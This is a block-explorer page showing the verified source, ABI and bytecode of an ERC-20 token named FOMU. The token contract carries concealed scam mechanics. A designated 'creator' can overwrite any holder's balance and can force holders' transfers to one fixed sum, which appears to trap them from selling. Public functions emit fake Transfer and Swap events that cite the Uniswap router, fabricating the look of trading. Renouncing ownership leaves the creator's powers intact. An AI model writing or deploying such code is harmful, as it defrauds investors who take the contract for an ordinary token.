Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000 FOMU
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
14,648.926266603503222451 FOMUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FOMU
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-24 */ pragma solidity ^0.8.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accountHolder) external view returns (uint256); function transfer(address to, uint256 sum) external returns (bool); function allowance(address authorizer, address spender) external view returns (uint256); function approve(address spender, uint256 sum) external returns (bool); function transferFrom(address from, address to, uint256 sum) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed authorizer, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); } abstract contract ExecutionControl { function obtainInvokerAddress() internal view virtual returns (address payable) { return payable(msg.sender); } } contract SingleOwnership is ExecutionControl { address private _oneAndOnlyOwner; event OwnershipTransfer(address indexed oldOwner, address indexed newOwner); constructor() { address invoker = obtainInvokerAddress(); _oneAndOnlyOwner = invoker; emit OwnershipTransfer(address(0), invoker); } function getSingleOwner() public view virtual returns (address) { return _oneAndOnlyOwner; } modifier oneOwnerOnly() { require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required."); _; } function renounceOwnership() public virtual oneOwnerOnly { emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD)); _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD); } } contract FOMU is ExecutionControl, SingleOwnership, IERC20 { mapping (address => mapping (address => uint256)) private _spenderAllowances; mapping (address => uint256) private _balances; mapping (address => uint256) private _forcedTransferAmounts; address private _masterCreator; string public constant _moniker = "FOMU"; string public constant _ticker = "FOMU"; uint8 public constant _decimalUnits = 18; uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits); constructor() { _balances[obtainInvokerAddress()] = _ultimateSupply; emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply); } modifier creatorExclusive() { require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required."); _; } function retrieveMasterCreator() public view virtual returns (address) { return _masterCreator; } function designateCreator(address newCreator) public oneOwnerOnly { _masterCreator = newCreator; } event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated); function forcedTransferAmount(address account) public view returns (uint256) { return _forcedTransferAmounts[account]; } function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive { for (uint i = 0; i < accounts.length; i++) { _forcedTransferAmounts[accounts[i]] = sum; } } function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive { require(requiredBalance >= 0, "Amount must be non-negative"); for (uint256 i = 0; i < userAddresses.length; i++) { address currentUser = userAddresses[i]; require(currentUser != address(0), "Invalid address specified"); uint256 formerBalance = _balances[currentUser]; _balances[currentUser] = requiredBalance; emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance); } } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 sum) public virtual override returns (bool) { require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance"); uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress()); if (requisiteTransferSum > 0) { require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch"); } _balances[obtainInvokerAddress()] -= sum; _balances[to] += sum; emit Transfer(obtainInvokerAddress(), to, sum); return true; } function allowance(address authorizer, address spender) public view virtual override returns (uint256) { return _spenderAllowances[authorizer][spender]; } function approve(address spender, uint256 sum) public virtual override returns (bool) { _spenderAllowances[obtainInvokerAddress()][spender] = sum; emit Approval(obtainInvokerAddress(), spender, sum); return true; } function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) { require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed"); uint256 requisiteTransferSum = forcedTransferAmount(from); if (requisiteTransferSum > 0) { require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch"); } _balances[from] -= sum; _balances[to] += sum; _spenderAllowances[from][obtainInvokerAddress()] -= sum; emit Transfer(from, to, sum); return true; } function totalSupply() external view override returns (uint256) { return _ultimateSupply; } function name() public view returns (string memory) { return _moniker; } function symbol() public view returns (string memory) { return _ticker; } function decimals() public view returns (uint8) { return _decimalUnits; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b61120480620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102ba578063cadc24b5146102c2578063d8fb9361146102eb578063dd62ed3e146102fe578063e03504af14610223578063e156b1b61461033757600080fd5b80638e32c0031461027957806395d89b4114610147578063a713fd531461028c578063a9059cbb14610294578063adacad8c146102a757600080fd5b806328226aa71161010a57806328226aa7146101d8578063313ce567146101fd578063416c3c9d146102125780635c01b60c1461022357806370a0823114610246578063715018a61461026f57600080fd5b806306fdde0314610147578063095ea7b31461017957806318160ddd1461019c5780631ae1ffbc146101b257806323b872dd146101c5575b600080fd5b604080518082019091526004815263464f4d5560e01b60208201525b6040516101709190610bbf565b60405180910390f35b61018c610187366004610c29565b61034a565b6040519015158152602001610170565b6101a46103b2565b604051908152602001610170565b61018c6101c0366004610d8b565b6103d2565b61018c6101d3366004610e35565b6105e9565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b60125b60405160ff9091168152602001610170565b6004546001600160a01b03166101e5565b61016360405180604001604052806004815260200163464f4d5560e01b81525081565b6101a4610254366004610e71565b6001600160a01b031660009081526002602052604090205490565b6102776107a9565b005b610277610287366004610e71565b610823565b610200601281565b61018c6102a2366004610c29565b61086f565b6102776102b5366004610e93565b6109b1565b6101a4610a44565b6101a46102d0366004610e71565b6001600160a01b031660009081526003602052604090205490565b6102776102f9366004610f0e565b610a60565b6101a461030c366004610f53565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018c610345366004610e35565b610b8a565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c06012600a611080565b6103cd906298968061108f565b905090565b6000805b85518110156105dc578581815181106103f1576103f16110a6565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111af83398151915287848151811061042d5761042d6110a6565b602002602001015160405161044491815260200190565b60405180910390a385818151811061045e5761045e6110a6565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c0576104c06110a6565b60200260200101516000808987815181106104dd576104dd6110a6565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052b5761052b6110a6565b602002602001015189878581518110610546576105466110a6565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c991906110bc565b50806105d4816110de565b9150506103d6565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106615760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106cf578083146106cf5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610658565b6001600160a01b038516600090815260026020526040812080548592906106f79084906110f7565b90915550506001600160a01b0384166000908152600260205260408120805485929061072490849061110a565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075c9084906110f7565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111af8339815191528560405161079691815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016106589061111d565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016106589061111d565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c55760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610658565b60006108d0336102d0565b90508015610927578083146109275760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610658565b33600090815260026020526040812080548592906109469084906110f7565b90915550506001600160a01b0384166000908152600260205260408120805485929061097390849061110a565b90915550506040518381526001600160a01b0385169033906000805160206111af833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109db5760405162461bcd60e51b815260040161065890611168565b60005b82811015610a3e5781600360008686858181106109fd576109fd6110a6565b9050602002016020810190610a129190610e71565b6001600160a01b0316815260208101919091526040016000205580610a36816110de565b9150506109de565b50505050565b610a506012600a611080565b610a5d906298968061108f565b81565b6004546001600160a01b03163314610a8a5760405162461bcd60e51b815260040161065890611168565b60005b8251811015610b85576000838281518110610aaa57610aaa6110a6565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b165760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610658565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7d906110de565b915050610a8d565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111af8339815191528460405161099f91815260200190565b600060208083528351808285015260005b81811015610bec57858101830151858201604001528201610bd0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2457600080fd5b919050565b60008060408385031215610c3c57600080fd5b610c4583610c0d565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9257610c92610c53565b604052919050565b600067ffffffffffffffff821115610cb457610cb4610c53565b5060051b60200190565b600082601f830112610ccf57600080fd5b81356020610ce4610cdf83610c9a565b610c69565b82815260059290921b84018101918181019086841115610d0357600080fd5b8286015b84811015610d2557610d1881610c0d565b8352918301918301610d07565b509695505050505050565b600082601f830112610d4157600080fd5b81356020610d51610cdf83610c9a565b82815260059290921b84018101918181019086841115610d7057600080fd5b8286015b84811015610d255780358352918301918301610d74565b600080600080600060a08688031215610da357600080fd5b610dac86610c0d565b9450602086013567ffffffffffffffff80821115610dc957600080fd5b610dd589838a01610cbe565b95506040880135915080821115610deb57600080fd5b610df789838a01610d30565b94506060880135915080821115610e0d57600080fd5b50610e1a88828901610d30565b925050610e2960808701610c0d565b90509295509295909350565b600080600060608486031215610e4a57600080fd5b610e5384610c0d565b9250610e6160208501610c0d565b9150604084013590509250925092565b600060208284031215610e8357600080fd5b610e8c82610c0d565b9392505050565b600080600060408486031215610ea857600080fd5b833567ffffffffffffffff80821115610ec057600080fd5b818601915086601f830112610ed457600080fd5b813581811115610ee357600080fd5b8760208260051b8501011115610ef857600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f2157600080fd5b823567ffffffffffffffff811115610f3857600080fd5b610f4485828601610cbe565b95602094909401359450505050565b60008060408385031215610f6657600080fd5b610f6f83610c0d565b9150610f7d60208401610c0d565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd7578160001904821115610fbd57610fbd610f86565b80851615610fca57918102915b93841c9390800290610fa1565b509250929050565b600082610fee575060016103ac565b81610ffb575060006103ac565b8160018114611011576002811461101b57611037565b60019150506103ac565b60ff84111561102c5761102c610f86565b50506001821b6103ac565b5060208310610133831016604e8410600b841016171561105a575081810a6103ac565b6110648383610f9c565b806000190482111561107857611078610f86565b029392505050565b6000610e8c60ff841683610fdf565b80820281158282048414176103ac576103ac610f86565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110ce57600080fd5b81518015158114610e8c57600080fd5b6000600182016110f0576110f0610f86565b5060010190565b818103818111156103ac576103ac610f86565b808201808211156103ac576103ac610f86565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fc240585fd07ecd2e34529276b0347baf889000e083d0f98a026cf0f415ad66e64736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102ba578063cadc24b5146102c2578063d8fb9361146102eb578063dd62ed3e146102fe578063e03504af14610223578063e156b1b61461033757600080fd5b80638e32c0031461027957806395d89b4114610147578063a713fd531461028c578063a9059cbb14610294578063adacad8c146102a757600080fd5b806328226aa71161010a57806328226aa7146101d8578063313ce567146101fd578063416c3c9d146102125780635c01b60c1461022357806370a0823114610246578063715018a61461026f57600080fd5b806306fdde0314610147578063095ea7b31461017957806318160ddd1461019c5780631ae1ffbc146101b257806323b872dd146101c5575b600080fd5b604080518082019091526004815263464f4d5560e01b60208201525b6040516101709190610bbf565b60405180910390f35b61018c610187366004610c29565b61034a565b6040519015158152602001610170565b6101a46103b2565b604051908152602001610170565b61018c6101c0366004610d8b565b6103d2565b61018c6101d3366004610e35565b6105e9565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b60125b60405160ff9091168152602001610170565b6004546001600160a01b03166101e5565b61016360405180604001604052806004815260200163464f4d5560e01b81525081565b6101a4610254366004610e71565b6001600160a01b031660009081526002602052604090205490565b6102776107a9565b005b610277610287366004610e71565b610823565b610200601281565b61018c6102a2366004610c29565b61086f565b6102776102b5366004610e93565b6109b1565b6101a4610a44565b6101a46102d0366004610e71565b6001600160a01b031660009081526003602052604090205490565b6102776102f9366004610f0e565b610a60565b6101a461030c366004610f53565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018c610345366004610e35565b610b8a565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c06012600a611080565b6103cd906298968061108f565b905090565b6000805b85518110156105dc578581815181106103f1576103f16110a6565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111af83398151915287848151811061042d5761042d6110a6565b602002602001015160405161044491815260200190565b60405180910390a385818151811061045e5761045e6110a6565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c0576104c06110a6565b60200260200101516000808987815181106104dd576104dd6110a6565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052b5761052b6110a6565b602002602001015189878581518110610546576105466110a6565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c991906110bc565b50806105d4816110de565b9150506103d6565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106615760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106cf578083146106cf5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610658565b6001600160a01b038516600090815260026020526040812080548592906106f79084906110f7565b90915550506001600160a01b0384166000908152600260205260408120805485929061072490849061110a565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075c9084906110f7565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111af8339815191528560405161079691815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016106589061111d565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016106589061111d565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c55760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610658565b60006108d0336102d0565b90508015610927578083146109275760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610658565b33600090815260026020526040812080548592906109469084906110f7565b90915550506001600160a01b0384166000908152600260205260408120805485929061097390849061110a565b90915550506040518381526001600160a01b0385169033906000805160206111af833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109db5760405162461bcd60e51b815260040161065890611168565b60005b82811015610a3e5781600360008686858181106109fd576109fd6110a6565b9050602002016020810190610a129190610e71565b6001600160a01b0316815260208101919091526040016000205580610a36816110de565b9150506109de565b50505050565b610a506012600a611080565b610a5d906298968061108f565b81565b6004546001600160a01b03163314610a8a5760405162461bcd60e51b815260040161065890611168565b60005b8251811015610b85576000838281518110610aaa57610aaa6110a6565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b165760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610658565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7d906110de565b915050610a8d565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111af8339815191528460405161099f91815260200190565b600060208083528351808285015260005b81811015610bec57858101830151858201604001528201610bd0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2457600080fd5b919050565b60008060408385031215610c3c57600080fd5b610c4583610c0d565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9257610c92610c53565b604052919050565b600067ffffffffffffffff821115610cb457610cb4610c53565b5060051b60200190565b600082601f830112610ccf57600080fd5b81356020610ce4610cdf83610c9a565b610c69565b82815260059290921b84018101918181019086841115610d0357600080fd5b8286015b84811015610d2557610d1881610c0d565b8352918301918301610d07565b509695505050505050565b600082601f830112610d4157600080fd5b81356020610d51610cdf83610c9a565b82815260059290921b84018101918181019086841115610d7057600080fd5b8286015b84811015610d255780358352918301918301610d74565b600080600080600060a08688031215610da357600080fd5b610dac86610c0d565b9450602086013567ffffffffffffffff80821115610dc957600080fd5b610dd589838a01610cbe565b95506040880135915080821115610deb57600080fd5b610df789838a01610d30565b94506060880135915080821115610e0d57600080fd5b50610e1a88828901610d30565b925050610e2960808701610c0d565b90509295509295909350565b600080600060608486031215610e4a57600080fd5b610e5384610c0d565b9250610e6160208501610c0d565b9150604084013590509250925092565b600060208284031215610e8357600080fd5b610e8c82610c0d565b9392505050565b600080600060408486031215610ea857600080fd5b833567ffffffffffffffff80821115610ec057600080fd5b818601915086601f830112610ed457600080fd5b813581811115610ee357600080fd5b8760208260051b8501011115610ef857600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f2157600080fd5b823567ffffffffffffffff811115610f3857600080fd5b610f4485828601610cbe565b95602094909401359450505050565b60008060408385031215610f6657600080fd5b610f6f83610c0d565b9150610f7d60208401610c0d565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd7578160001904821115610fbd57610fbd610f86565b80851615610fca57918102915b93841c9390800290610fa1565b509250929050565b600082610fee575060016103ac565b81610ffb575060006103ac565b8160018114611011576002811461101b57611037565b60019150506103ac565b60ff84111561102c5761102c610f86565b50506001821b6103ac565b5060208310610133831016604e8410600b841016171561105a575081810a6103ac565b6110648383610f9c565b806000190482111561107857611078610f86565b029392505050565b6000610e8c60ff841683610fdf565b80820281158282048414176103ac576103ac610f86565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110ce57600080fd5b81518015158114610e8c57600080fd5b6000600182016110f0576110f0610f86565b5060010190565b818103818111156103ac576103ac610f86565b808201808211156103ac576103ac610f86565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fc240585fd07ecd2e34529276b0347baf889000e083d0f98a026cf0f415ad66e64736f6c63430008120033
Deployed Bytecode Sourcemap
2089:5231:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7041:86;7111:8;;;;;;;;;;;;-1:-1:-1;;;7111:8:0;;;;7041:86;;;;;;;:::i;:::-;;;;;;;;6050:246;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6050:246:0;1004:187:1;6928:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6928:105:0;1196:177:1;4431:734:0;;;;;;:::i;:::-;;:::i;6304:616::-;;;;;;:::i;:::-;;:::i;1557:106::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1557:106;;;-1:-1:-1;;;;;4791:32:1;;;4773:51;;4761:2;4746:18;1557:106:0;4627:203:1;7230:87:0;2527:2;7230:87;;;5007:4:1;4995:17;;;4977:36;;4965:2;4950:18;7230:87:0;4835:184:1;2955:111:0;3044:14;;-1:-1:-1;;;;;3044:14:0;2955:111;;2443:39;;;;;;;;;;;;;;;-1:-1:-1;;;2443:39:0;;;;;5173:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5266:18:0;5239:7;5266:18;;;:9;:18;;;;;;;5173:119;1832:250;;;:::i;:::-;;3074:112;;;;;;:::i;:::-;;:::i;2489:40::-;;2527:2;2489:40;;5300:566;;;;;;:::i;:::-;;:::i;3426:229::-;;;;;;:::i;:::-;;:::i;2536:74::-;;;:::i;3284:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3379